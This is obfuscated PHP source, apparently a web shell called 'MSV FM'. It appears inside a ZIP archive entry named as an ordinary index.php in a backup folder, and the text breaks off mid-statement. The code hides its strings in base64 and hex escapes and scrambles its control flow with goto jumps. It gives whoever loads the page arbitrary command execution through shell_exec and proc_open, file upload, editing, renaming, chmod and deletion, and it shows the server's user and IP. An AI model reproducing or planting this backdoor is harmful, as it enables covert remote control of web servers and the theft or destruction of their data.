base64_decode("\x50\x47\x5a\166\142\x6e\x51\147\131\x32\x39\x73\142\x33\x49\x39\111\x6e\x4a\x6c\132\x43\111\x2b\121\x32\150\150\x62\155\x64\154\x49\106\x42\x6c\143\155\x31\x70\x63\x33\x4e\160\x62\62\x34\x67\122\62\106\x6e\131\x57\x77\x38\x4c\62\132\x76\142\156\x51\53\120\x47\112\x79\111\103\70\53"); goto terSf; ooLWI: echo "\x20\x20\x20\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\40\x3c\57\164\x64\x3e\15\xa\x20\x20\40\40\x20\x20\x20\40\40\x20\x20\40\x3c\x2f\x74\162\76\15\xa\x20\40\40\40\40\x20\40\40\x20\40\40\x20\x3c\164\x72\76\xd\xa\x20\40\x20\x20\x20\40\40\40\x20\40\40\40\x20\x20\40\40\x3c\x74\x64\76\15\xa\x20\40\x20\x20\40\40\x20\x20\x20\40\x20\40\40\40\x20\40\x20\x20\x20\x20"; goto RT5uH; db3jR: $ptg0t = base64_decode("\x59\x32\x51\x67") . escapeshellarg($eNhib) . base64_decode("\x49\103\131\x6d\x49\x41\75\75") . $ptg0t; goto Tp_tQ; Zo4KG: goto sjptv; goto UcthB; JKbjN: $_POST[base64_decode("\x62\x6d\106\x74\x5a\121\x3d\75")] = $_POST[base64_decode("\142\155\x56\63\x62\155\x46\164\132\x51\75\x3d")]; goto o2Scq; HxdLW: echo base64_decode("\120\x47\x5a\166\x62\x6e\121\x67\x59\62\x39\x73\x62\63\x49\71\111\x6d\144\x79\132\127\126\165\x49\x6a\65\126\143\x47\x78\166\x59\x57\121\x67\x51\155\126\x79\x61\x47\x46\172\x61\x57\167\x38\114\62\132\x76\x62\x6e\121\53\x50\107\112\x79\x49\x43\70\x2b"); goto XFeW5; jY5fd: goto R2UdA; goto Hd79L; EN3_T: goto U8L1I; goto SFhpo; YjR6T: if (function_exists(base64_decode("\x63\62\150\154\142\x47\x78\146\132\130\150\x6c\131\x77\x3d\75"))) { goto b4juq; } goto WYAJe; sq9Yt: GfDsJ: goto gNQbQ; jcnnT: $GnBD1 = proc_close($xYriD); goto tQzOT; LlnUN: RTEAh: goto ZIOCs; KJYi2: JOI1s: goto g7uqT; fRnML: YQAL6: goto gB6EX; yO0nh: if ($_POST[base64_decode("\x64\110\x6c\x77\x5a\x51\x3d\75")] == base64_decode("\132\155\x6c\163\132\121\75\75")) { goto vgSyr; } goto ESiZs; gNQbQ: $g8KwA = [0 => [base64_decode("\143\x47\154\x77\x5a\x51\x3d\x3d"), base64_decode("\143\x67\x3d\x3d")], 1 => [base64_decode("\x63\x47\154\x77\132\121\x3d\75"), base64_decode("\x64\167\x3d\x3d")], 2 => [base64_decode("\143\x47\154\x77\132\x51\75\x3d"), base64_decode("\144\167\x3d\75")]]; goto y117x; mW8q8: echo htmlspecialchars($_GET[base64_decode("\x5a\155\154\163\132\130\x4e\171\x59\167\75\75")]); goto l6gIm; hhwYZ: if (!isset($_POST[base64_decode("\x63\x47\x56\x79\142\121\75\x3d")])) { goto Nru3c; } goto D27Cv; UzF0q: if (empty($cFZDS)) { goto JOI1s; } goto pRpkk; D043_: Nru3c: goto B7DOm; WtD3B: echo base64_decode("\x50\107\x5a\166\x62\156\x51\147\x59\62\71\163\142\x33\x49\71\x49\156\112\x6c\132\x43\x49\x2b\x52\x6d\154\x73\x5a\123\102\110\131\127\x64\x68\x62\x43\x42\105\x61\x57\x68\150\143\110\126\x7a\120\103\x39\x6d\142\x32\65\60\120\152\x78\x69\x63\x69\70\x2b"); goto bvLtk; DsMQc: kErGv: goto fC3yG; qpJOJ: $cFZDS = ob_get_clean(); goto I6JjV; JmOrN: qhUkm: goto bLEki; dbJvS: if (!(isset($_GET[base64_decode("\x62\63\x42\x30\141\x57\x39\x75")]) && $_POST[base64_decode("\x62\63\102\60")] == base64_decode("\x5a\107\126\x73\132\130\122\154"))) { goto tH4Xk; } goto Ctmjb; OpG71: goto U8L1I; goto u8RPw; Hd79L: vgSyr: goto aIwfl; XMDmy: if (!isset($_POST[base64_decode("\x62\x6d\x56\63\x62\155\106\x74\132\x51\75\75")])) { goto IfRXy; } goto Wk8V9; g7uqT: echo "\x20\x20\40\40\x3c\x64\151\x76\x20\151\144\x3d\x22\x63\x6f\156\x74\145\x6e\164\x22\x3e\xd\12\x20\x20\40\40\40\40\40\40\74\164\x61\x62\154\x65\x20\x77\151\x64\x74\150\75\x22\x37\x30\x30\42\x20\x62\x6f\x72\x64\x65\162\x3d\42\60\42\40\143\145\x6c\154\x70\x61\x64\x64\x69\156\x67\75\x22\63\x22\40\x63\x65\x6c\154\163\x70\x61\x63\x69\156\x67\75\x22\x31\42\x20\x61\x6c\151\x67\x6e\x3d\x22\143\x65\x6e\164\x65\x72\42\76\15\xa\40\40\x20\x20\x20\40\40\40\x20\40\40\40\x3c\164\x72\76\15\12\40\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\40\40\x20\x3c\164\144\76\x3c\x66\x6f\156\164\40\143\157\x6c\157\162\x3d\42\167\x68\151\x74\145\42\x3e\120\x61\164\x68\x20\72\74\x2f\x66\157\156\x74\76\15\12\x20\x20\x20\40\40\40\x20\40\x20\x20\40\40\40\x20\x20\x20\40\40\x20\40"; goto Kf0H2; RXMca: $SUhbu = fopen($_POST[base64_decode("\143\x47\x46\x30\141\101\75\75")], base64_decode("\x64\x77\x3d\75")); goto t6vt5; MgfvD: echo base64_decode("\x50\x43\71\60\131\127\x4a\x73\x5a\124\x34\70\131\156\x49\x76\x50\x67\60\113\111\103\101\147\x49\103\x41\147\111\103\101\x67\x49\103\101\x67\111\103\x41\147\x49\x44\x78\152\132\127\65\x30\132\130\111\x2b"); goto dbJvS; D27Cv: if (chmod($_POST[base64_decode("\143\x47\106\60\x61\101\75\x3d")], $_POST[base64_decode("\x63\x47\x56\x79\142\x51\75\75")])) { goto nkUWJ; } goto koubu; o2Scq: IfRXy: goto J2011; qqu6V: echo "\74\41\x44\x4f\103\124\x59\x50\105\40\110\124\115\x4c\x3e\15\xa\74\x68\164\x6d\x6c\x20\x6c\x61\156\147\75\42\x65\156\x22\x3e\xd\12\15\12\74\150\145\141\x64\76\xd\xa\x20\x20\40\40\x3c\x6d\x65\164\141\x20\143\x68\x61\x72\x73\145\164\x3d\42\165\x74\x66\55\70\x22\40\57\x3e\15\xa\40\x20\40\40\x3c\x74\x69\x74\x6c\x65\76\x4d\123\x56\x20\x46\x4d\74\x2f\x74\x69\x74\154\145\76\xd\xa\40\x20\40\40\x3c\155\x65\164\141\40\x6e\141\x6d\x65\75\x22\x76\151\145\167\x70\x6f\162\x74\x22\40\x63\157\x6e\164\145\156\164\x3d\42\x77\151\144\x74\x68\x3d\x64\x65\x76\x69\x63\145\55\167\151\144\164\x68\x2c\40\151\x6e\x69\x74\x69\141\154\55\163\x63\x61\154\x65\75\x31\x2e\x30\42\x20\57\76\15\xa\40\x20\40\x20\x3c\163\x74\x79\154\145\76\15\xa\x20\x20\x20\40\x20\x20\40\x20\x62\x6f\x64\171\x20\173\xd\12\x20\40\40\x20\40\x20\40\40\40\40\40\40\146\x6f\x6e\x74\55\146\141\155\x69\x6c\171\72\x20\x22\x61\162\x69\141\154\42\x2c\40\x63\165\x72\x73\x69\166\x65\x3b\15\12\x20\x20\40\40\x20\40\x20\x20\40\x20\x20\40\x62\x61\143\153\x67\162\x6f\x75\x6e\144\x2d\x63\x6f\x6c\157\162\x3a\x20\142\x6c\141\143\x6b\x3b\xd\xa\40\x20\40\40\40\40\40\x20\40\x20\x20\x20\143\157\154\x6f\x72\x3a\40\167\x68\x69\164\145\x3b\xd\xa\40\x20\x20\40\x20\40\40\40\x20\40\x20\40\155\141\x72\147\x69\156\72\40\60\73\15\12\x20\x20\x20\x20\x20\40\40\40\x20\40\x20\40\160\141\x64\144\151\156\x67\72\40\60\x3b\xd\xa\40\40\x20\40\x20\x20\40\x20\x7d\xd\xa\xd\12\40\x20\x20\40\40\x20\x20\x20\43\143\x6f\x6e\164\x65\x6e\164\40\173\15\12\40\x20\x20\x20\x20\x20\40\x20\40\40\x20\x20\x77\151\144\164\150\x3a\x20\61\60\x30\x25\x3b\xd\xa\x20\40\x20\40\x20\x20\40\40\x20\x20\40\40\155\x61\x72\x67\x69\x6e\x3a\x20\60\x20\x61\x75\164\157\73\15\xa\40\x20\40\40\40\x20\40\x20\40\40\x20\40\160\141\144\144\x69\x6e\147\72\x20\62\60\160\x78\x3b\xd\12\40\x20\x20\40\x20\40\x20\40\x7d\xd\12\15\12\x20\x20\40\x20\x20\x20\x20\x20\43\143\x6f\156\164\145\156\x74\40\x74\x72\x3a\x68\157\x76\145\x72\x20\x7b\15\12\40\40\40\40\40\40\x20\x20\40\x20\x20\x20\142\x61\143\153\x67\x72\157\165\156\144\x2d\x63\x6f\x6c\x6f\162\x3a\x20\x72\x65\x64\x3b\xd\xa\40\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x20\164\145\x78\x74\55\163\x68\141\x64\x6f\167\72\40\x30\x70\x78\x20\60\160\x78\x20\61\x30\x70\170\40\43\x66\146\x66\x3b\xd\12\x20\40\40\x20\40\40\40\40\175\15\xa\15\xa\x20\x20\x20\x20\x20\x20\40\40\43\143\157\156\164\145\x6e\164\40\56\x66\x69\162\163\164\x20\173\15\xa\x20\40\40\x20\40\x20\40\x20\40\x20\40\40\x62\141\x63\153\147\162\157\x75\x6e\144\55\143\157\154\157\162\x3a\40\162\x65\x64\73\15\12\x20\40\40\x20\x20\40\40\40\175\xd\12\15\xa\x20\40\x20\x20\x20\40\x20\x20\x74\141\x62\154\x65\40\x7b\xd\12\40\40\x20\40\40\x20\x20\40\40\x20\40\40\x77\x69\144\164\x68\x3a\x20\61\60\x30\45\x3b\15\xa\40\40\x20\x20\40\x20\x20\40\x20\40\40\x20\142\157\x72\144\145\x72\72\40\x31\160\170\x20\x23\60\60\x30\x30\x30\x30\x20\x64\157\x74\x74\x65\x64\x3b\xd\xa\40\40\40\x20\x20\x20\x20\x20\175\xd\12\xd\12\40\x20\40\x20\40\40\40\x20\x61\40\x7b\15\12\x20\40\40\40\x20\40\x20\40\x20\40\40\40\x63\157\x6c\157\x72\72\40\167\x68\151\164\x65\73\15\12\40\40\x20\x20\40\40\x20\40\40\40\40\40\x74\x65\x78\x74\55\144\x65\x63\157\162\x61\x74\x69\x6f\x6e\72\40\156\157\x6e\145\73\xd\12\x20\x20\40\x20\40\40\40\40\175\15\xa\xd\12\40\x20\40\x20\40\x20\40\x20\141\72\x68\157\x76\145\162\x20\x7b\xd\xa\40\x20\40\40\x20\40\x20\40\x20\x20\40\40\143\157\154\x6f\162\x3a\x20\142\154\x75\145\73\xd\12\40\x20\40\x20\x20\40\40\40\40\40\40\40\x74\x65\170\x74\x2d\163\150\141\144\x6f\x77\x3a\40\60\160\x78\x20\60\x70\x78\x20\x31\x30\x70\170\x20\43\146\x66\146\146\146\146\73\xd\12\40\40\x20\40\40\40\40\x20\x7d\xd\xa\xd\xa\x20\40\40\40\40\40\x20\x20\x69\x6e\160\x75\164\x2c\15\12\40\x20\x20\40\40\x20\x20\40\x73\145\x6c\145\x63\164\x2c\xd\xa\40\40\40\x20\x20\x20\x20\x20\x74\x65\170\x74\x61\x72\145\x61\40\x7b\15\xa\x20\40\x20\40\40\x20\x20\x20\x20\x20\x20\40\x62\x6f\162\144\x65\x72\72\x20\x31\160\x78\40\43\60\x30\60\60\60\x30\40\x73\157\154\x69\144\x3b\15\12\40\40\x20\x20\x20\x20\x20\40\x20\x20\x20\40\55\155\x6f\172\55\x62\x6f\x72\144\145\x72\x2d\x72\141\x64\151\x75\163\72\x20\65\160\170\73\xd\xa\40\40\x20\40\x20\40\40\40\40\x20\x20\40\x2d\x77\145\142\153\151\x74\x2d\x62\x6f\162\x64\145\162\55\162\141\x64\x69\x75\163\72\x20\x35\x70\x78\73\15\12\40\x20\40\x20\40\40\40\40\x20\x20\40\40\142\x6f\x72\x64\x65\x72\x2d\162\x61\x64\151\165\x73\x3a\40\x35\x70\x78\73\15\xa\x20\x20\x20\40\x20\x20\40\x20\x7d\15\12\15\12\x20\x20\40\40\x20\40\x20\x20\164\145\170\x74\141\x72\x65\x61\40\173\xd\xa\40\40\x20\40\40\x20\40\40\40\40\40\x20\167\x69\144\x74\x68\x3a\x20\x31\60\x30\45\73\xd\xa\40\40\40\x20\x20\40\40\x20\x20\40\40\40\150\x65\151\x67\150\x74\x3a\40\x32\x30\x30\160\170\x3b\15\12\40\x20\40\40\x20\x20\x20\40\175\15\12\xd\12\x20\40\x20\40\40\x20\40\40\146\x6f\x72\155\40\x7b\15\xa\40\x20\40\x20\40\40\x20\x20\40\x20\40\x20\155\x61\x72\147\151\x6e\55\x62\x6f\x74\164\157\x6d\x3a\40\62\x30\160\170\x3b\15\12\40\x20\40\40\x20\x20\40\40\x7d\15\xa\40\x20\x20\40\74\x2f\163\x74\x79\154\x65\x3e\xd\12\x3c\x2f\150\x65\141\144\76\xd\12\xd\xa\x3c\142\x6f\144\171\76\15\12\40\40\x20\x20\74\x68\61\x20\x73\164\x79\154\x65\75\42\164\145\170\x74\x2d\141\154\x69\x67\156\x3a\x20\x63\x65\156\x74\x65\x72\73\42\76\x3c\x66\x6f\156\164\x20\x63\x6f\154\x6f\x72\x3d\42\x72\x65\x64\42\x3e\115\123\x56\x20\106\x4d\74\x2f\x66\157\156\164\x3e\74\x2f\x68\x31\76\15\12\40\x20\40\40\74\x66\x6f\162\155\40\155\145\164\x68\157\144\75\x22\120\117\123\x54\x22\x20\x61\x63\164\151\157\156\75\x22\x22\x3e\15\12\x20\x20\x20\40\x20\x20\x20\40"; goto sc7Og; RT5uH: if (!($_SERVER[base64_decode("\x55\153\x56\122\x56\125\x56\124\x56\x46\x39\116\x52\x56\122\111\x54\60\x51\75")] === base64_decode("\125\x45\71\x54\x56\101\x3d\75") && isset($_FILES[base64_decode("\x5a\x6d\154\163\x5a\x51\x3d\x3d")]))) { goto DGV0I; } goto spvh2; SzH3a: goto erOBh; goto hqxpU; tQzOT: if (!($GnBD1 === 0)) { goto v4X2N; } goto pslqQ; nVJmm: $EEcNs = stream_get_contents($k2_JX[1]); goto RVBd5; Wk8V9: if (rename($_POST[base64_decode("\143\x47\x46\60\141\x41\75\75")], $eNhib . base64_decode("\x4c\x77\75\x3d") . $_POST[base64_decode("\142\155\x56\x33\x62\155\106\164\132\121\x3d\75")])) { goto IMUZ9; } goto pFKrH; HmtS0: echo htmlspecialchars($cFZDS); goto tTEqW; wIGQj: R2UdA: goto HU3sV; FIdrG: if (!($JUInb === 0)) { goto iZF_7; } goto e7cMQ; lOYQE: echo "\x20\x20\x20\40\x20\40\40\x20\40\40\40\x20\40\x20\40\40\40\40\40\40\x3c\x66\157\x72\x6d\40\145\x6e\143\164\171\x70\145\75\x22\x6d\x75\x6c\164\151\x70\141\162\164\x2f\x66\157\162\155\x2d\144\x61\x74\x61\x22\40\x6d\x65\164\x68\x6f\x64\x3d\x22\120\117\x53\124\42\x3e\15\12\x20\x20\x20\x20\40\40\40\x20\x20\40\x20\40\x20\40\40\x20\x20\x20\40\40\x20\x20\x20\x20\74\x66\x6f\x6e\164\x20\143\x6f\154\x6f\x72\x3d\x22\x77\150\x69\x74\x65\42\x3e\x46\151\x6c\145\40\125\160\154\x6f\x61\x64\40\x3a\74\x2f\x66\157\x6e\x74\76\x20\74\151\x6e\x70\x75\164\x20\164\x79\160\145\75\42\146\x69\154\x65\42\40\x6e\x61\155\145\75\x22\146\151\154\145\x22\x20\57\x3e\xd\xa\x20\x20\x20\x20\x20\40\40\40\40\x20\40\x20\x20\40\40\x20\x20\x20\x20\40\x20\x20\40\x20\74\151\x6e\160\x75\164\40\x74\171\x70\145\x3d\x22\163\x75\x62\155\x69\x74\42\40\x76\x61\154\165\145\x3d\x22\165\160\x6c\x6f\141\144\x22\x20\57\x3e\15\xa\40\40\40\40\40\40\40\x20\x20\40\40\x20\40\x20\x20\40\x20\40\x20\40\74\x2f\x66\157\162\x6d\x3e\15\xa\x20\x20\x20\40\x20\40\x20\40\x20\40\x20\40\x20\40\40\x20\74\x2f\x74\x64\76\15\xa\x20\40\x20\40\40\x20\40\40\40\40\40\x20\74\57\x74\x72\x3e\xd\xa\40\x20\40\x20\40\40\x20\40\40\40\x20\x20"; goto aZUG9; c47Tg: UR0pf: goto wU1cm; lAfRt: ob_start(); goto KrUl_; x1axg: echo "\74\x69\156\160\165\x74\x20\164\171\160\x65\x3d\47\164\145\170\164\47\x20\163\x69\x7a\x65\75\47\63\x30\x27\40\x68\x65\151\147\150\164\x3d\x27\61\60\x27\40\156\x61\155\x65\75\47\143\155\144\47\40\160\x6c\x61\143\145\150\x6f\154\144\x65\x72\75\x27\x45\x78\x65\x63\165\164\145\47\x3e\15\12\40\x20\x20\x20\40\40\x20\40\74\x69\156\x70\x75\x74\40\164\171\160\x65\x3d\x22\163\165\x62\155\151\x74\x22\40\x63\154\x61\163\163\75\42\x65\155\x70\x74\x79\55\x62\165\164\x74\x6f\x6e\x22\76\15\12\x20\x20\40\x20\x3c\x2f\x66\x6f\162\x6d\x3e\15\12\x20\40\40\40"; goto XJj68; pigTC: FK3Fw: goto gQvHh; KSye5: sjptv: goto JKbjN; xTKmK: v4X2N: goto VgLTh; SH23i: lRtUn: goto COytp; b0_uT: CoaX2: goto UzF0q; pFKrH: echo base64_decode("\120\x47\x5a\x76\x62\x6e\x51\x67\131\x32\71\163\x62\x33\111\x39\111\x6e\112\154\132\x43\x49\53\x52\x32\106\x75\x64\107\153\147\x54\x6d\106\164\131\123\102\x48\x59\x57\144\150\142\104\x77\166\x5a\x6d\x39\165\x64\104\x34\70\131\156\111\147\114\x7a\64\x3d"); goto Zo4KG; VgLTh: O0KrZ: goto SzH3a; Ijc0k: echo base64_decode("\120\x48\122\x79\x50\x6a\170\x30\132\104\x35\104\x64\x58\112\x79\x5a\x57\x35\60\x49\x44\x77\147\x4f\151\x41\x3d"); goto mW8q8; Yktzr: U8L1I: goto UHTmS; mumEQ: @header(base64_decode("\x57\x43\61\102\131\62\116\154\142\103\61\103\x64\127\132\x6d\x5a\130\x4a\x70\142\155\x63\66\111\107\65\x76")); goto jkGJj; bJHUY: $cFZDS = @shell_exec($ptg0t); goto zzI3D; fC3yG: fclose($SUhbu); goto fRnML; xvXT7: $cFZDS = null; goto iSjAX; KVaRj: if (function_exists(base64_decode("\143\x47\x46\x7a\x63\63\x52\157\143\156\125\75"))) { goto izxu2; } goto B0CWs; g9XEi: goto oUWKl; goto aL_nE; hqxpU: b4juq: goto bJHUY; Tp_tQ: if (function_exists(base64_decode("\x63\x48\112\x76\131\61\71\x76\143\107\x56\x75"))) { goto GfDsJ; } goto YjR6T; SfDSM: echo base64_decode("\x50\107\132\166\x62\x6e\121\x67\x59\x32\71\x73\x62\x33\111\x39\x49\156\x4a\154\132\x43\111\53\126\x58\102\163\142\x32\106\x6b\x49\105\144\150\x5a\62\106\163\x50\103\71\155\142\62\x35\60\120\x6a\x78\x69\143\x69\70\53"); goto g9XEi; sc7Og: echo htmlspecialchars(get_current_user()) . base64_decode("\121\x41\75\x3d") . htmlspecialchars(gethostbyname($_SERVER[base64_decode("\123\106\122\125\x55\x46\71\x49\x54\x31\x4e\x55")])) . base64_decode("\117\x69\102\53\111\x43\121\75"); goto x1axg; Ek3Vl: echo base64_decode("\x50\107\x5a\x76\142\156\x51\147\131\62\71\163\x62\x33\111\71\x49\x6d\x64\171\x5a\127\x56\165\111\x6a\65\x47\x61\x57\x78\154\x49\106\122\x6c\143\x6d\150\x68\x63\x48\126\x7a\x50\103\71\x6d\142\x32\x35\60\120\x6a\170\151\143\151\x38\53"); goto zwcaK; Z8Ra4: YrXO6: goto gEvvd; tdTZT: function jMfdd($g9JOM) { goto i3a6r; DIEmD: return $TRmyl; goto ER2Se; ZWJ7r: goto Te23S; goto X0Rp4; lPamP: $TRmyl = base64_decode("\131\147\75\x3d"); goto KS2L0; dn6mG: $TRmyl .= $eO1kW & 0x100 ? base64_decode("\143\147\75\75") : base64_decode("\x4c\121\x3d\75"); goto Ant4Q; JIQ2Q: $TRmyl = base64_decode("\x59\x77\75\x3d"); goto QoesE; Mc1fk: $TRmyl = base64_decode("\142\x41\x3d\75"); goto ZWJ7r; ygmGh: goto Te23S; goto hQaMb; NPbnu: if (($eO1kW & 0x6000) == 0x6000) { goto JC16O; } goto iPhBW; X0Rp4: zjHHP: goto FcnQb; WerKM: $TRmyl .= $eO1kW & 0x2 ? base64_decode("\x64\x77\75\75") : base64_decode("\x4c\121\x3d\x3d"); goto Lqlpu; EeryC: $TRmyl = base64_decode("\x5a\101\x3d\x3d"); goto nnCum; KAeI8: $TRmyl .= $eO1kW & 0x20 ? base64_decode("\x63\147\x3d\x3d") : base64_decode("\114\121\75\75"); goto PVU7w; QoesE: goto Te23S; goto k_Og4; KS2L0: goto Te23S; goto aj3o1; uEfF7: vPuHC: goto JIQ2Q; iPhBW: if (($eO1kW & 0x4000) == 0x4000) { goto iCG4U; } goto VsBro; Vum0Z: GPFgP: goto Mc1fk; PRuZM: if (($eO1kW & 0x8000) == 0x8000) { goto zjHHP; } goto NPbnu; nnCum: goto Te23S; goto uEfF7; PVU7w: $TRmyl .= $eO1kW & 0x10 ? base64_decode("\x64\x77\x3d\75") : base64_decode("\x4c\x51\x3d\75"); goto fJNLb; dNGBf: goto Te23S; goto yiAFU; D0sbV: $TRmyl .= $eO1kW & 0x40 ? $eO1kW & 0x800 ? base64_decode("\x63\167\75\75") : base64_decode("\x65\x41\75\x3d") : ($eO1kW & 0x800 ? base64_decode("\125\x77\75\x3d") : base64_decode("\114\121\x3d\75")); goto KAeI8; hQaMb: kPoX_: goto sVZIB; yiAFU: JC16O: goto lPamP; sVZIB: $TRmyl = base64_decode("\143\167\75\x3d"); goto b2Bbm; azH_T: if (($eO1kW & 0x1000) == 0x1000) { goto NFof3; } goto ve68k; mJ2k5: if (($eO1kW & 0xc000) == 0xc000) { goto kPoX_; } goto CFQwu; Lqlpu: $TRmyl .= $eO1kW & 0x1 ? $eO1kW & 0x200 ? base64_decode("\x64\x41\x3d\75") : base64_decode("\145\x41\x3d\75") : ($eO1kW & 0x200 ? base64_decode("\126\x41\75\75") : base64_decode("\x4c\x51\75\75")); goto DIEmD; i3a6r: $eO1kW = fileperms($g9JOM); goto mJ2k5; k_Og4: NFof3: goto iFRo5; FdqN7: Te23S: goto dn6mG; FcnQb: $TRmyl = base64_decode("\x4c\x51\75\75"); goto dNGBf; ve68k: $TRmyl = base64_decode("\144\x51\75\75"); goto ygmGh; CeviK: $TRmyl .= $eO1kW & 0x4 ? base64_decode("\143\x67\x3d\x3d") : base64_decode("\x4c\x51\75\x3d"); goto WerKM; b2Bbm: goto Te23S; goto Vum0Z; fJNLb: $TRmyl .= $eO1kW & 0x8 ? $eO1kW & 0x400 ? base64_decode("\143\x77\75\x3d") : base64_decode("\145\101\x3d\x3d") : ($eO1kW & 0x400 ? base64_decode("\x55\167\75\75") : base64_decode("\114\x51\x3d\x3d")); goto CeviK; VsBro: if (($eO1kW & 0x2000) == 0x2000) { goto vPuHC; } goto azH_T; Ant4Q: $TRmyl .= $eO1kW & 0x80 ? base64_decode("\x64\x77\75\75") : base64_decode("\114\121\x3d\x3d"); goto D0sbV; CFQwu: if (($eO1kW & 0xa000) == 0xa000) { goto GPFgP; } goto PRuZM; iFRo5: $TRmyl = base64_decode("\x63\x41\x3d\x3d"); goto FdqN7; aj3o1: iCG4U: goto EeryC; ER2Se: }
?>PK 4\Fb b ! v3/2025/backup/data/yoi/index.phpnu W+A = 1024) { goto PQz3D; } goto pqGcV; jvYDT: hVyIg: goto s1mbs; P6h9O: $UcY4R = round($UcY4R, 3); goto Ps05p; tRQH9: if (is_file($eNhib . base64_decode("\114\x77\x3d\75") . $g9JOM)) { goto OYpz8; } goto onZ5r; pqGcV: $UcY4R = $UcY4R . base64_decode("\111\x45\164\103"); goto P4SZt; DU1g4: echo JMFDD($eNhib . base64_decode("\114\x77\75\x3d") . $g9JOM); goto nRKkj; GuBLR: echo base64_decode("\120\x43\x39\x6d\x62\x32\x35\x30\120\147\x3d\x3d"); goto jvYDT; GUz8v: JOWNL: goto tgjC0; mPHlc: if (is_writable($eNhib . base64_decode("\114\x77\75\x3d") . $g9JOM)) { goto oiNdk; } goto fh1V0; tgjC0: echo base64_decode("\120\107\x5a\x76\142\x6e\121\x67\131\62\x39\x73\142\63\x49\x39\x49\156\x4a\154\132\x43\x49\x2b"); goto r2cHw; nFCqr: echo base64_decode("\120\x47\x5a\166\x62\156\121\x67\131\x32\x39\163\142\x33\111\x39\111\155\x64\171\132\127\x56\x75\x49\x6a\64\75"); goto LJ0lU; onZ5r: goto V3k_C; goto jKyEC; s1mbs: echo base64_decode("\x50\x43\71\152\x5a\x57\x35\60\x5a\x58\x49\x2b\120\x43\71\60\132\104\x34\116\x43\151\101\x67\111\x43\x41\x67\x49\x43\x41\x67\111\x43\101\147\111\x43\x41\x67\111\x43\x41\x67\x49\103\x41\147\x50\110\x52\153\120\152\170\152\x5a\x57\x35\60\132\x58\x49\53\120\107\132\x76\143\155\x30\x67\142\x57\x56\x30\141\x47\x39\153\x50\x53\112\121\x54\x31\116\x55\111\x69\102\150\x59\63\122\160\x62\x32\x34\71\111\x6a\x39\x76\143\x48\x52\x70\142\62\x34\x6d\143\x47\x46\60\x61\x44\60\x3d") . htmlspecialchars($eNhib) . base64_decode("\111\152\64\x4e\103\x69\101\x67\111\103\101\147\x49\103\101\x67\x49\103\101\147\111\103\101\x67\111\x43\x41\x67\x49\103\101\x67\111\x43\x41\147\111\104\x78\x7a\132\127\x78\154\x59\x33\x51\x67\142\x6d\106\164\x5a\124\60\151\142\63\x42\x30\x49\152\64\x4e\x43\151\x41\x67\x49\103\101\147\x49\103\x41\147\111\x43\101\x67\x49\x43\101\147\111\103\101\147\x49\103\x41\147\x49\103\x41\x67\x49\x43\101\147\x49\x43\x41\70\142\63\102\x30\x61\x57\x39\165\x49\x48\x5a\x68\x62\110\126\x6c\120\x53\111\151\120\154\116\x6c\142\107\x56\x6a\144\x44\167\x76\142\63\x42\x30\x61\x57\71\x75\120\x67\x30\x4b\111\103\101\x67\x49\x43\101\x67\x49\103\101\x67\111\103\x41\147\x49\x43\x41\x67\x49\103\x41\x67\x49\x43\101\x67\x49\x43\x41\147\111\x43\101\x67\111\x44\x78\x76\x63\110\122\x70\x62\62\x34\147\x64\155\x46\163\144\127\125\x39\x49\155\x52\x6c\x62\107\x56\x30\132\123\x49\53\122\107\126\x73\132\130\x52\x6c\x50\x43\71\166\143\x48\x52\x70\x62\x32\64\x2b\104\x51\157\x67\x49\103\x41\147\111\x43\101\x67\111\x43\101\147\111\x43\x41\x67\111\103\101\147\x49\x43\x41\x67\x49\103\101\x67\x49\x43\101\147\x49\103\x41\x67\120\x47\71\167\144\x47\154\166\142\x69\102\62\x59\127\x78\x31\132\x54\60\151\x59\x32\x68\x74\142\x32\x51\x69\120\x6b\116\157\x62\x57\71\153\120\103\71\166\143\110\x52\160\142\x32\64\x2b\104\121\x6f\147\111\x43\x41\147\111\x43\x41\x67\x49\x43\x41\147\x49\103\x41\147\x49\103\x41\147\x49\x43\x41\147\111\x43\101\x67\111\x43\101\147\x49\103\x41\x67\x50\107\x39\x77\144\x47\x6c\166\142\x69\x42\62\131\127\x78\x31\x5a\124\x30\x69\143\155\126\165\x59\127\x31\154\x49\152\x35\123\x5a\x57\65\x68\x62\127\x55\70\x4c\x32\x39\167\144\107\154\x76\x62\152\64\116\103\x69\x41\147\111\103\x41\x67\111\x43\101\147\x49\103\101\147\111\x43\x41\147\111\x43\x41\147\x49\x43\101\147\111\x43\101\x67\x49\x43\101\147\x49\x43\x41\70\x62\x33\x42\60\141\127\71\x75\111\x48\132\150\142\110\x56\x6c\120\123\x4a\154\x5a\x47\x6c\x30\111\x6a\x35\x46\132\x47\154\60\x50\x43\x39\x76\x63\x48\x52\160\142\62\x34\x2b\104\x51\157\x67\x49\x43\x41\x67\111\x43\x41\147\x49\103\101\147\111\103\x41\147\111\103\x41\147\x49\103\101\x67\111\103\x41\x67\x49\103\101\70\114\x33\116\x6c\142\x47\x56\x6a\144\x44\x34\x4e\x43\151\101\147\111\103\101\147\x49\x43\101\147\x49\103\x41\147\111\103\x41\147\x49\103\x41\147\x49\x43\101\147\x49\x43\x41\x67\x49\x44\170\x70\142\156\x42\x31\x64\x43\x42\60\145\x58\102\x6c\x50\x53\x4a\x6f\x61\x57\x52\x6b\x5a\x57\x34\x69\x49\107\x35\150\142\x57\x55\x39\x49\x6e\122\x35\143\x47\x55\151\111\110\132\150\x62\110\126\154\120\x53\112\155\141\x57\170\x6c\x49\152\x34\116\x43\x69\x41\x67\x49\103\101\x67\x49\x43\x41\147\111\103\101\x67\x49\103\101\x67\x49\103\x41\147\111\x43\x41\x67\111\103\101\147\111\x44\170\160\x62\156\102\61\x64\x43\102\x30\x65\x58\x42\x6c\x50\123\112\157\x61\x57\122\x6b\x5a\127\x34\151\111\x47\65\150\x62\x57\125\71\111\155\65\x68\142\x57\x55\x69\111\110\x5a\x68\142\110\x56\154\x50\123\111\75") . htmlspecialchars($g9JOM) . base64_decode("\111\152\64\116\x43\x69\x41\x67\x49\103\101\x67\111\x43\x41\x67\x49\103\x41\x67\x49\103\x41\x67\x49\x43\101\147\111\x43\101\x67\x49\x43\x41\147\111\104\x78\x70\142\x6e\x42\x31\144\103\102\x30\145\x58\102\x6c\x50\123\x4a\157\x61\127\122\153\x5a\127\64\x69\111\x47\65\150\x62\127\x55\x39\111\x6e\102\x68\144\107\147\151\x49\x48\x5a\150\142\x48\126\x6c\120\x53\111\x3d") . 